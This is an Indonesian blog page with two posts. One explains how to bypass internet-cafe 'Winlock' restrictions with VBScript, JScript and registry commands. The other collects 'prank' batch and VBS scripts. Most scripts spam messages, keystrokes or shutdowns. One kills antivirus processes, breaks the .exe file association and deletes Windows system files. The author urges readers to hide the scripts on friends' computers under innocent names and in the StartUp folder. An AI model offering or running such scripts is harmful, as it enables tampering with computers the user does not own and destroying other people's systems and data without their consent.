Tampilkan postingan dengan label script. Tampilkan semua postingan
Tampilkan postingan dengan label script. Tampilkan semua postingan

Kamis, 14 November 2013

Cara Hack Winlock Di Warnet Dengan Script

Tutorial Iseng Di Warnet Versi Winlock
Okey, Pasti semua udah tau winlock itu apa kan ?
Kalo blom tau search aja di google yah..
Ya intinya sih winlock itu digunakan buat mengurangi akses kita terhadap komputer tersebut.
Misalkan, gak bisa download atau gak bisa buka Drive di komputer tersebut.
Contohnya aja Net E*ph*ria / L*ghT*o Net di Jalan Kampus Anggrek-Syahdan.
Dan Masih banyak lagi warnet-warnet yang menggunakan aplikasi ini.
Disini saya cuma mau sharing aja pengalaman saya menjadikan diri sebagai admin winlock tersebut. Jiahahahah.
Sebenernya sudah saya tulis di website pribadi / blog saya, Cuma gak ada salahnya kan buat sharing disini ? heheheh..
OK. Yang dibutuhin cuma 1. Notepad / Wordpad.
ikirkan gimana caranya buat buka notepad tersebut. Banyak caranya.
Dari sound device pun bisa buka notepad. Dan langganan saya buat buka notepad/wordpad sih pake Lagu Gratisan dari windows itu loh, yang di sample music. hahaha..
Ya tinggal save as – pilih desktop – terus save dengan ekstensi .txt / .doc deh..
OK langsung aj yah, udah dibuka notepad/wordpad ?
Usahakan cek dulu ada deepfreeze atau kagak.
Kalo ada deepfreeze kan bisa ngilangin jejak deh dengan restart komputer.
Dan kalo gak ada deepfreeze musti ikutin cara kedua ntar.
Copy script ini

strComputer = “.”
Set objWMIService = GetObject(“winmgmts:” _
& “{impersonationLevel=impersonate}!\” & strComputer & “ ootcimv2″)
Set colProcessList = objWMIService.ExecQuery _
(“Select * from Win32_Process Where Name = ‘winlock.exe’”)
For Each objProcess in colProcessList
objProcess.Terminate()
Next

Const HKEY_CLASSES_ROOT = &H80000000
strComputer = “.”
Set objRegistry=GetObject(“winmgmts:\” & _
strComputer & “ ootdefault:StdRegProv”)

strKeyPath = “CLSID{D1A17367-4546-PRT8-6A19-11OO4FFI823O}ProgID”
strValueName = “ID”

objRegistry.DeleteValue HKEY_CLASSES_ROOT, strKeyPath, strValueName

Dan save pake ekstensi .vbs (VBScript) dan klik 2x aja buat menjalankannya.
Sebenernya itu 2 script yang dijadikan 1 karena kesamaan ekstensi.
Keterangan :

Script 1 : Buat kill winlock.exe, karena biasanya task manager di disable kan ?
Script 2 : Buat delete key “ID” Winlock di regedit yang berada di CLSID{D1A17367-4546-PRT8-6A19-11OO4FFI823O}ProgID

OK. Sekarang step 2. (AKTIFKAN TASK MANAGER)
Kenapa pake aktifkan TASKMGR? Karena disini kita bakal aktifin cmd (Command Prompt).
Kalo taskmanager / startnya gak didisable, bisa langsung aja buka commandprompt di accesories.
Dan coba aja windows+R, kalo bisa, ya langsung aj copy script aktifkan command promptnya dibawah.

/// Program Ramping Mengamankan Task Manager
// Nama Program: tsk_mgr.js
function prakata(pesan)
{
natan.popup(pesan,0,”Menjaga Task Manager”);
}
function catat(harga)
{
natan.RegWrite(“HKCU\Software\Microsoft\Windows\CurrentVersion”+
“\Policies\System\DisableTaskMgr”,harga,”REG_DWORD”);
}
var vbYesNoCancel = 3, vbYes = 6, vbNo = 7, harga, pesan, tanya, natan;
natan = WScript.CreateObject(“WScript.Shell”);
pesan = “Menu Pilihan :

”+
“Klik [Yes] untuk Nonaktifkan Task Manager.
”+
“Klik [No] untuk Aktifkan Task Manager.
”+
“Klik [Cancel] untuk Keluar.

”+
“[+] http:www.suicidalizm.co.cc [+]

”+
“NonAktifkan Task Manager sekarang?”;
tanya = natan.popup(pesan,0,”Menjaga Task Manager”,vbYesNoCancel);
if (tanya == vbYes)
{
harga=1;
pesan=”Task Manager DiNonAktifkan! visit http://www.suicidalizm.co.cc”;
catat(harga);
prakata(pesan);
}
else if (tanya == vbNo)
{
harga=0;
pesan=”Task Manager DiAktifkan! visit http://www.suicidalizm.co.cc”;
catat(harga);
prakata(pesan);
}
else
{
pesan=”visit http://www.suicidalizm.co.cc”;
prakata(pesan);
}

Save dengan ekstensi .js dan jalankan, lalu pilih NO buat mengaktifkan task manager.
Lalu buka task manager (ctrl+alt+del) – Pilih tab users – Klik menu File – Pilih Run – Lalu copy paste script ini di situ

REG add HKCUSoftwarePoliciesMicrosoftWindowsSystem /v DisableCMD /t REG_DWORD /d 0 /f
 
Ini fungsinya buat mengaktifkan command prompt.
Lalu dengan cara yang sama, ketik cmd untuk membuka command prompt.
Setelah masuk command prompt, Silahkan cari dimana folder winlock berada.
Misalkan berada di folder C:program fileswinlockpro
Ketik C: lalu enter Ketik cd program files lalu enter
Ketik cd winlockpro lalu enter
Dan ketik winlock.exe lalu enter
TADA… sekarang anda winlock baru pun sudah berjalan, dan silahkan shutdown/kill winlock.exe yang baru biar gak mengganggu.

Senin, 04 November 2013

Kumpulan Script Jahil Sistem Komputer



Script
 merupakan sebuah kode yang digunakan oleh seorang programer untuk membuat sebuah program atau system yang ada dalam komputer/laptop yang biasa kita gunakan. Tapi kalau kita salah dalam menyusun script tersebut maka script tersebut dapat memusingkan kita. Contoh yang dapat memusingkan kita apabila script tersebut berulang-ulang memunculkan kotak dialog yang harus kita klik oke untuk menghilangkannya dan itu tidak hanya sekali muncul tapi berulang kali. Nah, sekarang ane mau posting beberapa script jahil yang sudah dimodifikasi. Berikut ini adalah beberapa hal yang harus anda siapkan:
1. Sebuah komputer
2. Notepad
Nah setelah dua hal tersebut siap, sekarang tinggal lakukan copy-paste (copas) script yang berwarna merah di bawah ini.
1. MESSAGE YANG MUNCUL TERUS-MENERUS
@ECHO off
:Begin
 msg * dasar jelek
 msg * ngaca sono
 msg * hayo, CPU lo ane acak2 nih
 msg * mau berhenti?
 msg * install ulang saja
 msg * biar cepet kelar :D
GOTO BEGIN
[Save dengan ekstensi *.bat]
2. SHUTDOWN+MENAMPILKAN PESAN
@echo off
 msg * apaan sih lo
shutdown -s -c "error!!! kejelekanmu bikin kompimu mati"
[Save dengan ekstensi *.bat]
3. MAIN DENGAN TOMBOL CAPSLOCK
Set wshShell =wscript.CreateObject("WScript.Shell")
 do
 wscript.sleep 100
 wshshell.sendkeys "{CAPSLOCK}"
loop
[Save dengan ekstensi *.vbs]
4. MEMBUKA DAN MENUTUP CD/DVD SECARA OTOMATIS
Set oWMP = CreateObject(“WMPlayer.OCX.7?)
 Set colCDROMs = oWMP.cdromCollection
 do
 if colCDROMs.Count >= 1 then
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 End If
 wscript.sleep 5000
loop
[Save dengan ekstensi *.vbs]
5. MENEKAN TOMBOL ENTER SECARA TERUS MENERUS
Set wshShell =wscript.CreateObject("WScript.Shell")
do
 wscript.sleep 100
 wshshell.sendkeys "~(enter)"
loop
[Save dengan ekstensi *.vbs]
6. MENEKAN TOMBOL BACKSPACE SECARA TERUS MENERUS
MsgBox “Lets Rumble”
 Set wshShell =wscript.CreateObject("WScript.Shell")
do
 wscript.sleep 100
 wshshell.sendkeys "{bs}"
loop
[Save dengan ekstensi *.vbs]

7. OTOMATIS MENGETIK "Dasar jelek!!!" DI NOTEPAD
Set wshShell =wscript.CreateObject("WScript.Shell")
do
 wscript.sleep 100
 wshshell.sendkeys "dasar jelek!!!"
loop
[Save dengan ekstensi *.vbs]

8. MEMBUKA NOTEPAD TERUS MENERUS
@ECHO off
:top
 START %SystemRoot% system32
otepad.exe

GOTO top
[Save dengan ekstensi *.bat]

9. MEMBUKA NOTEPAD DAN OTOMATIS NGETIK
WScript.Sleep 180000
 WScript.Sleep 10000
 Set WshShell = WScript.CreateObject("WScript.Shell")
 WshShell.Run "notepad"
 WScript.Sleep 100
 WshShell.AppActivate "Notepad"
 WScript.Sleep 500
 WshShell.SendKeys "kom"
 WScript.Sleep 500
 WshShell.SendKeys "pu"
 WScript.Sleep 500
 WshShell.SendKeys "ter"
 WScript.Sleep 500
 WshShell.SendKeys "mu "
 WScript.Sleep 500
 WshShell.SendKeys "a"
 WScript.Sleep 500
 WshShell.SendKeys "kan "
 WScript.Sleep 500
 WshShell.SendKeys "han "
 WScript.Sleep 500
 WshShell.SendKeys "cur!!"
 WScript.Sleep 500
WshShell.SendKeys "hohoho "
[Save dengan ekstensi *.vbs]

10. SCRIPT QUIZ
@echo off
title quiz hari ini 
 :menu
cls
 echo jika komputermu terkena virus apa yang kamu lakukan
pause
 echo pilih yang mana:
 echo 1. banting komputer
 echo 2. buang komputer
 echo 3. bingung
 set input=nothing
 set /p input=Choice:
 if %input%==1 shutdown -s -t 30
 if %input%==2 del c:xxx
 if %input%==3 @ECHO off
 msg * dasar jelek
 msg * ngaca sono
 msg * hayo, CPU lo ane acak2 nih
 msg * mau berhenti?
 msg * install ulang saja
 msg * biar cepet kelar :D
 @ECHO off
:top
 START %SystemRoot%
 system32
otepad.exe

GOTO top
[Save dengan ekstensi *.bat]

11. BAHAYA!! JANGAN DICOBA DI KOMPUTER PRIBADI
@echo off
set end=md "Hack installing"
set fin=copy "Hack log.txt" "Installing"
%end%
%fin%
net send * Hack is installing, press OK to begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is hacked ….
msg * I warned you, and you kept going. Challenge me and this is what happens.
DEL C:WINDOWS
system32logoff.exe /F /Q DEL C:WINDOWS
system32logon.exe /F /Q DEL C:WINDOWS
system32logon.scr /F /Q cls
shutdown -s -t 5 -c
"thank you for waiting"
[Save dengan ekstensi *.bat]

Semua Script di atas dapat disimpan dengan nama terserah anda, ganti tanda * dengan nama yang anda inginkan, tapi ekstensi harus sesuai dengan format di atas. Misalkan disimpan dengan nama bukanih.bat atau bacanih.vbs. Simpan di komputer teman kalian dengan nama yang tidak mencurigakan. Kalau mau berjalan otomatis, silahkan simpan di folder StartUp yang ada di menu Start. Oiya, setelah kalian simpan Script-script usil tersebut jangan nongol di depan teman kalian itu, agar tidak dilempar pake CPU, hehe.
Older Post ►
 

Copyright 2011 Rudy Suryadi